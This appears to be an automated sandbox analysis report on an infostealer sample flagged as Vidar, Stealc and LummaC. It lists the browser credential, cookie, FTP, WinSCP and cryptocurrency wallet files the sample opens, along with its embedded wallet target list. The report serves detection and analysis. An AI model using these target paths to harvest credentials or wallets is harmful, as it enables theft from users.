Source: C:\ProgramData\KECFIDGCBF.exe	Queries volume information: C:\ProgramData\KECFIDGCBF.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\userBGDBKKFHIE.exe	Queries volume information: C:\Users\userBGDBKKFHIE.exe VolumeInformation
Source: C:\Users\userBAEBGCFIEH.exe	Queries volume information: C:\Users\userBAEBGCFIEH.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041C110 lstrcpyA,SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,

3_2_0041C110

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.000000000140A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 18.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.KECFIDGCBF.exe.3715570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.KECFIDGCBF.exe.3715570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2171273173.0000000003715000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2633856552.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
